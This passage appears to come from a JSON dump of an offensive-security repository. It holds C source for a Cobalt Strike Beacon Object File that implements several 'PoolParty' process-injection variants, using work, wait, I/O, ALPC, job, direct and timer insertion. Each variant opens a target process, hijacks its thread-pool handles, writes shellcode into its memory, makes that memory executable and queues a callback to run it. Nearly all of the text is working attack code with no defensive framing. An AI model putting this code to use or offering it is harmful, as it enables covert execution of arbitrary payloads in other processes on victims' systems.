pTpWork->Task.ListEntry.Flink = TargetTaskQueueHighPriorityList;\n    pTpWork->Task.ListEntry.Blink = TargetTaskQueueHighPriorityList;\n    pTpWork->WorkState.Exchange = 0x2;\n\n    DWORD dwOldProtect = NULL;\n    PFULL_TP_WORK pRemoteTpWork = (PFULL_TP_WORK)(KERNEL32$VirtualAllocEx(hTarget, NULL, sizeof(FULL_TP_WORK), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));\n    NTSTATUS Ntstatus = NtWriteVirtualMemory(hTarget, pRemoteTpWork, pTpWork, sizeof(FULL_TP_WORK), NULL);\n\n    KERNEL32$VirtualProtectEx(hTarget, pRemoteTpWork, sizeof(FULL_TP_WORK), PAGE_EXECUTE_READ, &dwOldProtect);\n\n    PLIST_ENTRY RemoteWorkItemTaskList = NULL;\n    RemoteWorkItemTaskList = (PLIST_ENTRY)MSVCRT$calloc(1, sizeof(PLIST_ENTRY));\n    RemoteWorkItemTaskList = &pRemoteTpWork->Task.ListEntry;\n\n    NtWriteVirtualMemory(hTarget, &TargetTpPool->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Flink, &RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), NULL);\n    NtWriteVirtualMemory(hTarget, &TargetTpPool->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Blink, &RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), NULL);\n}\n\nvoid Inject2(DWORD dwTargetProcessId, CHAR* shellcode, SIZE_T shellcodeSize) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n    \n    HANDLE hTarget = NULL;\n    DWORD dwOldProtect = NULL;\n    hTarget = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwTargetProcessId);\n    \n    if (hTarget) {\n        HijackTpWorkerFactoryHandle(hTarget, WORKER_FACTORY_ALL_ACCESS);\n        \n        PVOID pShellcodeAddress = KERNEL32$VirtualAllocEx(hTarget, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        NtWriteVirtualMemory(hTarget, pShellcodeAddress, shellcode, shellcodeSize, NULL);\n        KERNEL32$VirtualProtectEx(hTarget, pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);\n        \n        RemoteTpWorkInsertion(hTarget, pShellcodeAddress);\n    } else { \n        BeaconPrintf(CALLBACK_OUTPUT, \"PID %d inaccessible\", dwTargetProcessId);\n    }\n}"
  },
  {
    "path": "Injection-BOF/inject_poolparty/3.h",
    "content": "#include \"PoolParty.h\"\n\nvoid RemoteTpWaitInsertion(HANDLE hTarget, LPVOID pShellcodeAddress)\n{\n    _ZwAssociateWaitCompletionPacket ZwAssociateWaitCompletionPacket = (_ZwAssociateWaitCompletionPacket)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"ZwAssociateWaitCompletionPacket\"));\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n\n    MSVCRT$srand((unsigned int)MSVCRT$time(NULL));\n\twchar_t* POOL_PARTY_EVENT_NAME = generateRandomLettersW(7);\n\n    PFULL_TP_WAIT pTpWait = KERNEL32$CreateThreadpoolWait((PTP_WAIT_CALLBACK)pShellcodeAddress, NULL, NULL);\n    \n    PFULL_TP_WAIT pRemoteTpWait = (PFULL_TP_WAIT)KERNEL32$VirtualAllocEx(hTarget, NULL, sizeof(FULL_TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n    NtWriteVirtualMemory(hTarget, pRemoteTpWait, pTpWait, sizeof(FULL_TP_WAIT), NULL);\n\n    PTP_DIRECT pRemoteTpDirect = (PTP_DIRECT)KERNEL32$VirtualAllocEx(hTarget, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n    NtWriteVirtualMemory(hTarget, pRemoteTpDirect, &pTpWait->Direct, sizeof(TP_DIRECT), NULL);\n\n    HANDLE hEvent = KERNEL32$CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)POOL_PARTY_EVENT_NAME);\n    BeaconPrintf(CALLBACK_OUTPUT, \"Pool party event created with name: %s\", POOL_PARTY_EVENT_NAME);\n    ZwAssociateWaitCompletionPacket(pTpWait->WaitPkt, hIoCompletion, hEvent, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);\n\n    KERNEL32$SetEvent(hEvent);\n\n}\n\nvoid Inject3(DWORD dwTargetProcessId, CHAR* shellcode, SIZE_T shellcodeSize) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n    \n    HANDLE hTarget = NULL;\n    DWORD dwOldProtect = NULL;\n    hTarget = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwTargetProcessId);\n    \n    if (hTarget != NULL) {\n        HijackIoCompletionHandle(hTarget, IO_COMPLETION_ALL_ACCESS);\n        \n        PVOID pShellcodeAddress = KERNEL32$VirtualAllocEx(hTarget, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        NtWriteVirtualMemory(hTarget, pShellcodeAddress, shellcode, shellcodeSize, NULL);\n        KERNEL32$VirtualProtectEx(hTarget, pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);\n        \n        RemoteTpWaitInsertion(hTarget, pShellcodeAddress);\n    } else { \n        BeaconPrintf(CALLBACK_OUTPUT, \"PID %d inaccessible\", dwTargetProcessId);\n    }\n}"
  },
  {
    "path": "Injection-BOF/inject_poolparty/4.h",
    "content": "#include \"PoolParty.h\"\n\n#define POOL_PARTY_POEM \"Dive right in and make a splash,\\n\" \\\n                        \"We're throwing a pool party in a flash!\\n\" \\\n                        \"Bring your swimsuits and sunscreen galore,\\n\" \\\n                        \"We'll turn up the heat and let the good times pour!\\n\"\n\nvoid RemoteTpIoInsertionSetupExecution(HANDLE hTarget, LPVOID pShellcodeAddress) {\n        _NtSetInformationFile ZwSetInformationFile = (_NtSetInformationFile)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtSetInformationFile\"));\n        MSVCRT$srand((unsigned int)MSVCRT$time(NULL));\n\n        wchar_t* POOL_PARTY_FILE_NAME = generateRandomLettersW(7);\n        HANDLE hFile = KERNEL32$CreateFileW(\n                POOL_PARTY_FILE_NAME,\n                GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,\n                NULL,\n                CREATE_ALWAYS,\n                FILE_ATTRIBUTE_HIDDEN | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE,\n                NULL);\n\n        PFULL_TP_IO pTpIo = (PFULL_TP_IO)KERNEL32$CreateThreadpoolIo(hFile, (PTP_WIN32_IO_CALLBACK)(pShellcodeAddress), NULL, NULL);\n\n        /* Not sure why this field is not filled by CreateThreadpoolIo, need to analyze */\n        pTpIo->CleanupGroupMember.Callback = pShellcodeAddress;\n\n        ++pTpIo->PendingIrpCount;\n\n        PFULL_TP_IO pRemoteTpIo = (PFULL_TP_IO)(KERNEL32$VirtualAllocEx(hTarget, NULL, sizeof(FULL_TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));\n        KERNEL32$WriteProcessMemory(hTarget, pRemoteTpIo, pTpIo, sizeof(FULL_TP_IO), NULL);\n\n        IO_STATUS_BLOCK IoStatusBlock = { 0 };\n        FILE_COMPLETION_INFORMATION FileIoCopmletionInformation = { 0 };\n        FileIoCopmletionInformation.Port = hIoCompletion;\n        FileIoCopmletionInformation.Key = &pRemoteTpIo->Direct;\n        ZwSetInformationFile(hFile, &IoStatusBlock, &FileIoCopmletionInformation, sizeof(FILE_COMPLETION_INFORMATION), r_FileReplaceCompletionInformation);\n\n        const char* Buffer = POOL_PARTY_POEM;\n        SIZE_T BufferLength = sizeof(Buffer);\n        OVERLAPPED Overlapped = { 0 };\n        KERNEL32$WriteFile(hFile, Buffer, BufferLength, NULL, &Overlapped);\n        KERNEL32$CloseHandle(hFile);\n}\n\nvoid Inject4(DWORD dwTargetProcessId, CHAR* shellcode, SIZE_T shellcodeSize) {\n        _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n\n        HANDLE hTarget = NULL;\n        DWORD dwOldProtect = NULL;\n        hTarget = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwTargetProcessId);\n\n        if (hTarget) {\n                HijackIoCompletionHandle(hTarget, IO_COMPLETION_ALL_ACCESS);\n\n                PVOID pShellcodeAddress = KERNEL32$VirtualAllocEx(hTarget, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n                NtWriteVirtualMemory(hTarget, pShellcodeAddress, shellcode, shellcodeSize, NULL);\n                KERNEL32$VirtualProtectEx(hTarget, pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);\n\n                RemoteTpIoInsertionSetupExecution(hTarget, pShellcodeAddress);\n        } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"PID %d inaccessible\", dwTargetProcessId);\n        }\n}"
  },
  {
    "path": "Injection-BOF/inject_poolparty/5.h",
    "content": "#include \"PoolParty.h\"\n\n#define POOL_PARTY_ALPC_PORT_NAME_PREFIX L\"\\\\RPC Control\\\\\"\n#define PORT_NAME_LENGTH 9\n#define POOL_PARTY_POEM \"Dive right in and make a splash,\\n\" \\\n                        \"We're throwing a pool party in a flash!\\n\" \\\n                        \"Bring your swimsuits and sunscreen galore,\\n\" \\\n                        \"We'll turn up the heat and let the good times pour!\\n\"\n\nvoid RemoteTpAlpcInsertionSetupExecution(HANDLE hTarget, LPVOID pShellcodeAddress) {\n        _NtAlpcCreatePort NtAlpcCreatePort = (_NtAlpcCreatePort)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtAlpcCreatePort\"));\n        _TpAllocAlpcCompletion TpAllocAlpcCompletion = (_TpAllocAlpcCompletion)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"TpAllocAlpcCompletion\"));\n        _NtAlpcSetInformation NtAlpcSetInformation = (_NtAlpcSetInformation)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtAlpcSetInformation\"));\n        _NtAlpcConnectPort NtAlpcConnectPort = (_NtAlpcConnectPort)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtAlpcConnectPort\"));\n\n        MSVCRT$srand((unsigned int)MSVCRT$time(NULL));\n        wchar_t* randomLetters = generateRandomLettersW(PORT_NAME_LENGTH);\n        size_t prefixLength = MSVCRT$wcslen(POOL_PARTY_ALPC_PORT_NAME_PREFIX);\n        size_t totalLength = prefixLength + PORT_NAME_LENGTH + 1;\n        wchar_t* portName = (wchar_t*)MSVCRT$malloc((MSVCRT$wcslen(POOL_PARTY_ALPC_PORT_NAME_PREFIX) + PORT_NAME_LENGTH + 1) * sizeof(wchar_t));\n        MSVCRT$wcscpy_s(portName, totalLength, POOL_PARTY_ALPC_PORT_NAME_PREFIX);\n        MSVCRT$wcscat_s(portName, totalLength, randomLetters);\n        wchar_t* POOL_PARTY_ALPC_PORT_NAME = portName;\n\n        HANDLE hTempAlpcConnectionPort;\n        NTSTATUS Ntstatus = NtAlpcCreatePort(&hTempAlpcConnectionPort, NULL, NULL);\n\n        PFULL_TP_ALPC pTpAlpc = { 0 };\n        Ntstatus = TpAllocAlpcCompletion(&pTpAlpc, hTempAlpcConnectionPort, (PTP_ALPC_CALLBACK)(pShellcodeAddress), NULL, NULL);\n\n        UNICODE_STRING usAlpcPortName;\n        RtlInitUnicodeString(&usAlpcPortName, POOL_PARTY_ALPC_PORT_NAME);\n\n        OBJECT_ATTRIBUTES AlpcObjectAttributes = { 0 };\n        AlpcObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);\n        AlpcObjectAttributes.ObjectName = &usAlpcPortName;\n\n        ALPC_PORT_ATTRIBUTES AlpcPortAttributes = { 0 };\n        AlpcPortAttributes.Flags = 0x20000;\n        AlpcPortAttributes.MaxMessageLength = 328;\n\n        HANDLE hAlpcConnectionPort;\n        Ntstatus = NtAlpcCreatePort(&hAlpcConnectionPort, &AlpcObjectAttributes, &AlpcPortAttributes);\n\n        PFULL_TP_ALPC pRemoteTpAlpc = (PFULL_TP_ALPC)(KERNEL32$VirtualAllocEx(hTarget, NULL, sizeof(FULL_TP_ALPC), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));\n        KERNEL32$WriteProcessMemory(hTarget, pRemoteTpAlpc, pTpAlpc, sizeof(FULL_TP_ALPC), NULL);\n\n        ALPC_PORT_ASSOCIATE_COMPLETION_PORT AlpcPortAssociateCopmletionPort = { 0 };\n        AlpcPortAssociateCopmletionPort.CompletionKey = pRemoteTpAlpc;\n        AlpcPortAssociateCopmletionPort.CompletionPort = hIoCompletion;\n        NtAlpcSetInformation(hAlpcConnectionPort, AlpcAssociateCompletionPortInformation, &AlpcPortAssociateCopmletionPort, sizeof(ALPC_PORT_ASSOCIATE_COMPLETION_PORT));\n\n        OBJECT_ATTRIBUTES AlpcClientObjectAttributes = { 0 };\n        AlpcClientObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);\n\n        const char* Buffer = POOL_PARTY_POEM;\n        int BufferLength = sizeof(Buffer);\n\n        ALPC_MESSAGE ClientAlpcPortMessage = { 0 };\n        ClientAlpcPortMessage.PortHeader.u1.s1.DataLength = BufferLength;\n        ClientAlpcPortMessage.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + BufferLength;\n        memcpy(ClientAlpcPortMessage.PortMessage, Buffer, sizeof(ClientAlpcPortMessage.PortMessage));\n        size_t szClientAlpcPortMessage = sizeof(ClientAlpcPortMessage);\n\n        /* NtAlpcConnectPort would block forever if not used with timeout, we set timeout to 1 second */\n        LARGE_INTEGER liTimeout = { 0 };\n        liTimeout.QuadPart = -10000000;\n        HANDLE hAlpc_;\n        NtAlpcConnectPort(\n                &hAlpc_,\n                &usAlpcPortName,\n                &AlpcClientObjectAttributes,\n                &AlpcPortAttributes,\n                0x20000,\n                NULL,\n                (PPORT_MESSAGE)&ClientAlpcPortMessage,\n                &szClientAlpcPortMessage,\n                NULL,\n                NULL,\n                &liTimeout);\n}\n\nvoid Inject5(DWORD dwTargetProcessId, CHAR* shellcode, SIZE_T shellcodeSize) {\n        _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n\n        HANDLE hTarget = NULL;\n        DWORD dwOldProtect = NULL;\n        hTarget = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwTargetProcessId);\n\n        if (hTarget) {\n                HijackIoCompletionHandle(hTarget, IO_COMPLETION_ALL_ACCESS);\n                PVOID pShellcodeAddress = KERNEL32$VirtualAllocEx(hTarget, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n                NtWriteVirtualMemory(hTarget, pShellcodeAddress, shellcode, shellcodeSize, NULL);\n                KERNEL32$VirtualProtectEx(hTarget, pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);\n                RemoteTpAlpcInsertionSetupExecution(hTarget, pShellcodeAddress);\n        } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"PID %d inaccessible\", dwTargetProcessId);\n        }\n}\n"
  },
  {
    "path": "Injection-BOF/inject_poolparty/6.h",
    "content": "#include \"PoolParty.h\"\n\n#define JOB_NAME_LENGTH 8\nunsigned char POOL_PARTY_JOB_NAME[JOB_NAME_LENGTH + 1];\n\nvoid RemoteTpJobInsertionSetupExecution(HANDLE hTarget, LPVOID pShellcodeAddress) {\n    _TpAllocJobNotification TpAllocJobNotification = (_TpAllocJobNotification)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"TpAllocJobNotification\"));\n    MSVCRT$srand((unsigned int)MSVCRT$time(NULL));\n    \n    for (int i = 0; i < JOB_NAME_LENGTH; ++i) {\n        POOL_PARTY_JOB_NAME[i] = generateRandomLetter();\n    }\n    POOL_PARTY_JOB_NAME[JOB_NAME_LENGTH] = '\\0';\n\n    HANDLE p_hJob = KERNEL32$CreateJobObjectA(NULL, POOL_PARTY_JOB_NAME);\n    if (p_hJob == NULL) {\n        return;\n    }\n\n    PFULL_TP_JOB pTpJob = { 0 };\n    NTSTATUS Ntstatus = TpAllocJobNotification(&pTpJob, p_hJob, pShellcodeAddress, NULL, NULL);\n    if (!NT_SUCCESS(Ntstatus)) {\n        return;\n    }\n\n    PFULL_TP_JOB RemoteTpJobAddress = (PFULL_TP_JOB)(KERNEL32$VirtualAllocEx(hTarget, NULL, sizeof(FULL_TP_JOB), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));\n    KERNEL32$WriteProcessMemory(hTarget, RemoteTpJobAddress, pTpJob, sizeof(FULL_TP_JOB), NULL);\n\n    JOBOBJECT_ASSOCIATE_COMPLETION_PORT JobAssociateCopmletionPort = { 0 };\n    KERNEL32$SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));\n\n    JobAssociateCopmletionPort.CompletionKey = RemoteTpJobAddress;\n    JobAssociateCopmletionPort.CompletionPort = hIoCompletion;\n    KERNEL32$SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));\n\n    KERNEL32$AssignProcessToJobObject(p_hJob, KERNEL32$GetCurrentProcess());\n}\n\nvoid Inject6(DWORD dwTargetProcessId, CHAR* shellcode, SIZE_T shellcodeSize) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n    \n    HANDLE hTarget = NULL;\n    DWORD dwOldProtect = NULL;\n    hTarget = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwTargetProcessId);\n    \n    if (hTarget) {\n        HijackIoCompletionHandle(hTarget, IO_COMPLETION_ALL_ACCESS);\n        \n        PVOID pShellcodeAddress = KERNEL32$VirtualAllocEx(hTarget, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        NtWriteVirtualMemory(hTarget, pShellcodeAddress, shellcode, shellcodeSize, NULL);\n        KERNEL32$VirtualProtectEx(hTarget, pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);\n        \n        RemoteTpJobInsertionSetupExecution(hTarget, pShellcodeAddress);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"PID %d inaccessible\", dwTargetProcessId);\n    }\n}"
  },
  {
    "path": "Injection-BOF/inject_poolparty/7.h",
    "content": "#include \"PoolParty.h\"\n\nvoid RemoteTpDirectInsertionSetupExecution(HANDLE hTarget, LPVOID pShellcodeAddress) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n    _ZwSetIoCompletion ZwSetIoCompletion = (_ZwSetIoCompletion)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"ZwSetIoCompletion\"));\n\n    TP_DIRECT Direct = { 0 };\n    Direct.Callback = pShellcodeAddress;\n\n    PTP_DIRECT RemoteDirectAddress = (PTP_DIRECT)(KERNEL32$VirtualAllocEx(hTarget, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));\n    NTSTATUS res = NtWriteVirtualMemory(hTarget, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL);\n\n    ZwSetIoCompletion(hIoCompletion, RemoteDirectAddress, 0, 0, 0);\n}\n\n\nvoid Inject7(DWORD dwTargetProcessId, CHAR* shellcode, SIZE_T shellcodeSize) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n\n    HANDLE hTarget = NULL;\n    DWORD dwOldProtect = NULL;\n\n    hTarget = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwTargetProcessId);\n    if (hTarget) {\n        HijackIoCompletionHandle(hTarget, IO_COMPLETION_ALL_ACCESS);\n\n        PVOID pShellcodeAddress = KERNEL32$VirtualAllocEx(hTarget, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        NtWriteVirtualMemory(hTarget, pShellcodeAddress, shellcode, shellcodeSize, NULL);\n        KERNEL32$VirtualProtectEx(hTarget, pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);\n\n        RemoteTpDirectInsertionSetupExecution(hTarget, pShellcodeAddress);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"PID %d inaccessible\", dwTargetProcessId);\n    }\n}"
  },
  {
    "path": "Injection-BOF/inject_poolparty/8.h",
    "content": "#include \"PoolParty.h\"\n\nvoid RemoteTpTimerInsertion(HANDLE hTarget, LPVOID pShellcodeAddress) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n    _NtSetTimer2 NtSetTimer2 = (_NtSetTimer2)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtSetTimer2\"));\n\n    WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = GetWorkerFactoryBasicInformation();\n    PFULL_TP_TIMER pTpTimer = (PFULL_TP_TIMER)KERNEL32$CreateThreadpoolTimer((PTP_TIMER_CALLBACK)(pShellcodeAddress), NULL, NULL);\n    PFULL_TP_TIMER RemoteTpTimerAddress = (PFULL_TP_TIMER)(KERNEL32$VirtualAllocEx(hTarget, NULL, sizeof(FULL_TP_TIMER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));\n\n    int Timeout = -10000000;\n    pTpTimer->Work.CleanupGroupMember.Pool = (PFULL_TP_POOL)(WorkerFactoryInformation.StartParameter);\n    pTpTimer->DueTime = Timeout;\n    pTpTimer->WindowStartLinks.Key = Timeout;\n    pTpTimer->WindowEndLinks.Key = Timeout;\n    pTpTimer->WindowStartLinks.Children.Flink = &RemoteTpTimerAddress->WindowStartLinks.Children;\n    pTpTimer->WindowStartLinks.Children.Blink = &RemoteTpTimerAddress->WindowStartLinks.Children;\n    pTpTimer->WindowEndLinks.Children.Flink = &RemoteTpTimerAddress->WindowEndLinks.Children;\n    pTpTimer->WindowEndLinks.Children.Blink = &RemoteTpTimerAddress->WindowEndLinks.Children;\n\n    NtWriteVirtualMemory(hTarget, RemoteTpTimerAddress, pTpTimer, sizeof(FULL_TP_TIMER), NULL);\n\n    PVOID TpTimerWindowStartLinks = &RemoteTpTimerAddress->WindowStartLinks;\n    NtWriteVirtualMemory(hTarget, &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowStart.Root, (PVOID)(&TpTimerWindowStartLinks), sizeof(TpTimerWindowStartLinks), NULL);\n\n    PVOID TpTimerWindowEndLinks = &RemoteTpTimerAddress->WindowEndLinks;\n    NtWriteVirtualMemory(hTarget, &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root, (PVOID)(&TpTimerWindowEndLinks), sizeof(TpTimerWindowEndLinks), NULL);\n\n    LARGE_INTEGER ulDueTime = { 0 };\n    ulDueTime.QuadPart = Timeout;\n    T2_SET_PARAMETERS Parameters = { 0 };\n    NtSetTimer2(hIRTimer, &ulDueTime, 0, &Parameters);\n}\n\nvoid Inject8(DWORD dwTargetProcessId, CHAR* shellcode, SIZE_T shellcodeSize) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n\n    HANDLE hTarget = NULL;\n    DWORD dwOldProtect = NULL;\n    hTarget = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwTargetProcessId);\n\n    if (hTarget) {\n        HijackTpWorkerFactoryHandle(hTarget, WORKER_FACTORY_ALL_ACCESS);\n        HijackIRTimerHandle(hTarget, TIMER_ALL_ACCESS);\n\n        PVOID pShellcodeAddress = KERNEL32$VirtualAllocEx(hTarget, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        NtWriteVirtualMemory(hTarget, pShellcodeAddress, shellcode, shellcodeSize, NULL);\n        KERNEL32$VirtualProtectEx(hTarget, pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);\n\n        RemoteTpTimerInsertion(hTarget, pShellcodeAddress);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"PID %d inaccessible\", dwTargetProcessId);\n    }\n}"
  },
  {
    "path": "Injection-BOF/inject_poolparty/PoolParty.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <winternl.h>\n\n#include \"beacon.h\"\n\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)\n#define WORKER_FACTORY_RELEASE_WORKER 0x0001\n#define WORKER_FACTORY_WAIT 0x0002\n#define WORKER_FACTORY_SET_INFORMATION 0x0004\n#define WORKER_FACTORY_QUERY_INFORMATION 0x0008\n#define WORKER_FACTORY_READY_WORKER 0x0010\n#define WORKER_FACTORY_SHUTDOWN 0x0020\n#define WORKER_FACTORY_ALL_ACCESS ( \\\n       STANDARD_RIGHTS_REQUIRED | \\\n       WORKER_FACTORY_RELEASE_WORKER | \\\n       WORKER_FACTORY_WAIT | \\\n       WORKER_FACTORY_SET_INFORMATION | \\\n       WORKER_FACTORY_QUERY_INFORMATION | \\\n       WORKER_FACTORY_READY_WORKER | \\\n       WORKER_FACTORY_SHUTDOWN \\\n)\n\nWINBASEAPI BOOL         WINAPI   KERNEL32$AssignProcessToJobObject(HANDLE hJob, HANDLE hProcess);\nWINBASEAPI BOOL         WINAPI   KERNEL32$DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);\nWINBASEAPI BOOL         WINAPI   KERNEL32$ReadProcessMemory(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T);\nWINBASEAPI BOOL         WINAPI   KERNEL32$SetEvent(HANDLE);\nWINBASEAPI BOOL         WINAPI   KERNEL32$SetInformationJobObject(HANDLE hJob, JOBOBJECTINFOCLASS JobObjectInformationClass, LPVOID lpJobObjectInformation, DWORD cbJobObjectInformationLength);\nWINBASEAPI BOOL         WINAPI   KERNEL32$VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);\nWINBASEAPI BOOL         WINAPI   KERNEL32$VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);\nWINBASEAPI BOOL         WINAPI   KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);\nWINBASEAPI BOOL         WINAPI   KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);\nWINBASEAPI HANDLE       WINAPI   KERNEL32$CloseHandle(HANDLE);\nWINBASEAPI HANDLE       WINAPI   KERNEL32$CreateEventW(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCWSTR);\nWINBASEAPI HANDLE       WINAPI   KERNEL32$CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nWINBASEAPI HANDLE       WINAPI   KERNEL32$CreateJobObjectA(LPSECURITY_ATTRIBUTES lpJobAttributes, LPCSTR lpName);\nWINBASEAPI HANDLE       WINAPI   KERNEL32$GetCurrentProcess (VOID);\nWINBASEAPI HANDLE       